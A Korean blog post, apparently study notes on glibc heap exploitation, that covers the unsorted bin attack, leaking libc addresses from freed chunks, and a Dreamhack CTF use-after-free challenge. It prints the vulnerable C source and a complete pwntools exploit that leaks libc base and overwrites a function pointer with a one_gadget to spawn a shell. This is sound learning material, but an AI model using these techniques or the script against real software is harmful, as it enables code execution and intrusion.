unsorted bin attack
공격조건
glibc 2.27에 가능(단 tcache에 들어가지 않는 크기여야함)
기본적으로는 glibc 2.23 공격기법이다. 해제된 청크의 bk 포인터를 조작할 수 있어야 한다. 기본적으로 모든 버전에서 free된 chunk에 접근하여 값을 쓸 수 있어야한다.
unsorted bin attack이란?
해제된 청크의 bk 포인터를 조작할 수 있을 때, 임의 주소에 main_arena 영역의 주소를 쓸 수 있는 공격 기법이다.
쓰여지는 값은 주로 특정 버퍼의 사이즈를 덮는 등 추가적인 공격을 연계하기 위해 사용된다.
재할당 과정
fastbin의 크기가 아닌 청크를 처음 해제하면 fd, bk 영역에 main_arena 영역의 주소가 써진다. 그리고 같은 크기로 힙을 할당하면 fd를 찾아 해당 주소에 재할당 한다.
위 사진은 free직후의 free된 chunk의 상태이며 여기서 다시 malloc이 되면 0x55b1834d2250 에 할당이 된다. 즉 fd를 조작하면 원하는 주소 + 0x10 위치에 힙을 할당할 수 있게 된다.
아래의 코드는 unsorted bin을 처리하는 코드이다.
for (;; )
{
int iters = 0;
while (( victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
...
bck->fd = unsorted_chunks (av);
}
}
victim은 main_arena.bin 첫 번째 존재하는 unsorted bin의 BK 값을 저장하고 bck는 victim의 bk값을 저장한다. 그리고 bck→fd = unsorted_chunks (av) 를 통해 victim이 unsorted bin 에서 제거된다.
즉 bck를 조작하면 원하는 곳에 main_arena 영역의 주소를 쓸 수 있다.
그림으로 보면 이해가 빠르다.
[일반적인 경우]
[unsorted bin attack]
이렇게 name이 fake chunk로 사용되어서 main_arena 영역의 주소가 쓰였다.
참고로 ~~ add 부분은 포인터가 가리키는 것을 보기 좋게 하기 위한것으로 실제 메모리에 적재되거나 하지 않는다.
예시
#include <stdio.h>
#include <stdlib.h>
#define ALLOC_SIZE 0x410
long target;
int main(void){
fprintf(stderr, "target : 0x%lx\n", target);
long *ptr = malloc(ALLOC_SIZE);
malloc(ALLOC_SIZE);
free(ptr);
ptr[1] = (long)&target - 16;
malloc(ALLOC_SIZE);
fprintf(stderr, "target : 0x%lx\n", target);
}
Memory Leak
공격조건
임의의 malloc과 free가 가능하고 malloc에 초기화 과정이 없으며 tcache에 들어가지 않을 크기의 malloc 가능
Unsorted bin Memory Leak
해제되면서 unsorted bin 에 들어간 chunk에는 main_arena 영역의 주소가 FD와 BK에 쓰여진다. main_arena는 libc.so.6 라이브러리에 존재하는 구조체여서 해당 주소를 알아내면 libc_base를 구할 수 있다.
예시
// gcc -o leak1 leak1.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *ptr = malloc(0x500);
char *ptr2 = malloc(0x500);
free(ptr);
ptr = malloc(0x500);
printf("0x%lx\n", *(long long *)ptr);
return 0;
}
위 코드는 0x100을 해제하고 다시 할당한 후에 해당 주소를 참조하여 출력하는 코드이다. 결과는 아래와 같이 출력된다.
calloc
calloc은 할당하는 동시에 초기화를 하는 함수여서 calloc함수를 사용 시 이 방법은 거의 불가능해진다.
dreamhack_uaf_overwrite
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() {
printf("Name: %s\n", robot->name);
}
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
여기서 주목할 것은 Human와 Robot가 같은 크기이고 초기화가 되지 않는다는 점이다.
Robot구조체에 함수 포인터가 있어서 human의 age부분에 one_gadget을 넣고 robot_func를 실행해서 내가 원하는 작업을 실행할 수 있다.
그러면 우선 libc_base를 구해야 하는데 이는 custom_func에서 구할 수 있다.
일단 custom_func 함수는 원하는 idx로 free를 할 수 있다.
그리고 custom_func도 free후 초기화를 하지 않아서 free후 다시 할당하면 fd와 bk가 그대로 남아있다.
이는 libc내의 주소이기 때문에 이를 이용해 libc_base를 구할 수 있다.
exploit
from pwn import *
context.log_level = "debug"
p = process('./uaf_overwrite')
#p = remote('host3.dreamhack.games', 12126)
p.sendlineafter("> ", str(3))
time.sleep(1)
p.sendlineafter("Size: ", str(0x500))
time.sleep(1)
p.sendafter("Data: ", 'A')
time.sleep(1)
p.sendlineafter("idx: ", b'-1')
#(1)
p.sendlineafter("> ", b'3')
time.sleep(1)
p.sendlineafter("Size: ", str(0x500))
time.sleep(1)
p.sendafter("Data: ", 'A')
time.sleep(1)
p.sendlineafter("idx: ", b'0')
#(2)
p.sendlineafter("> ", b'3')
time.sleep(1)
p.sendlineafter("Size: ", str(0x500))
time.sleep(1)
p.sendafter("Data: ", 'A')
time.sleep(1)
p.recvuntil(": ")
leak = u64(p.recv(6)+b"\x00\x00")
p.sendlineafter("idx: ", str(-1))
#(3)
base = leak - 0x3ebc41
print(hex(base))
one = base + 0x10a2fc
p.sendlineafter("> ", b'1')
time.sleep(1)
p.sendlineafter("Weight: ", b'1')
time.sleep(1)
p.sendlineafter("Age: ", str(one))
time.sleep(1)
p.sendlineafter("> ", b'2')
time.sleep(1)
p.sendlineafter("Weight: ", b'1')
#(4)
p.interactive()
구역을 나눠서 설명하겠다.
(1)
우선 libc_base를 구해야 하니 3을 입력하고 tcache에 들어가지 않을 크기인 0x500을 입력한다. data는 아무 값 A를 입력한다. 그리고 idx에 -1를 입력하여 일단 free하지 않는다. 이러한 이유는 바로 free하면 topchunk에 병합되기 때문에 이 chunk와 top chunk사이에 chunk 하나를 더 만들어야 하기 때문이다.
(2)
다시 3을 입력하고 똑같이 0x500을 입력하고 data로 아무값 A를 입력한다.그리고 idx로 0을 줘서 (1)에서 할당한 chunk를 free한다.
(3)
다시 3을 입력하고 똑같이 0x500을 입력한다. 그러면 (2)에서 free한 chunk가 할당된다. data로 아무값 A를 입력한다. 그러면 출력으로 A 에 추가로 fd부분이 나온다. 그러면 이를 이용해 libc_base를 구한다.
(4)
human에서 age부분을 one_gadget으로 하고 robot을 실행시키면 셸이 실행된다.
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
Large Bin Attack (1) | 2023.11.22 |
---|---|
Overlapping chunks (1) | 2023.11.22 |
fastbin dup, fastbin dup consolidate & Unsafe unlink (0) | 2023.11.18 |
double free (0) | 2023.11.07 |
UAF (0) | 2023.11.07 |